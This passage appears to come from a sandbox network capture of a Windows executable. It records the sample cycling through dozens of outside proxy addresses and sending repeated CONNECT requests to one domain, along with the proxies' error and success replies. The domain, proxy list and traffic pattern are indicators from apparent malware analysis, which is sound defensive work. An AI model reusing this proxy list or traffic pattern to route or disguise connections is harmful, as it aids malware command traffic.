Mar 11, 2024 15:21:14.497389078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.497126102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.500911951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:50.575174093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:14.590637922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.9	50735	91.134.140.160	20896	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.411874056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.9	50494	123.126.158.50	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.417000055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.184458017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.9	50645	72.210.221.223	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.418821096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.9	50576	130.162.213.175	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.421565056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.742336988 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.9	50662	68.1.210.189	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.457102060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.9	50691	104.36.166.34	47935	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.463377953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.996982098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.653242111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.091161966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.700663090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403724909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.9	50573	219.243.212.118	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.463635921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.790232897 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.9	50859	172.67.181.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.464142084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.618453026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.9	50715	92.204.134.38	51123	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.464145899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.028202057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.9	50637	211.222.252.187	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.464638948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.9	50540	103.231.78.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.464642048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.246975899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.9	50618	139.129.162.65	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.465631008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.675685883 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.3.8 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 3656 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.9	50661	185.212.60.62	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.465730906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.9	50651	54.38.179.162	56613	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.469290018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.9	50639	43.129.228.46	7891	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.469291925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.137583971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.9	50827	104.37.135.145	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.470304966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.9	50669	128.140.26.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.479890108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.9	50275	111.59.4.88	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.480102062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.105696917 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.9	50750	98.181.137.83	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.486517906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.9	50636	119.3.215.41	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.490351915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.883424044 CET	536	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.16.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.9	50874	91.134.140.160	16487	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.496258020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.9	50693	18.135.211.182	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.496371984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.788249969 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.9	50672	177.12.118.160	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.497478008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
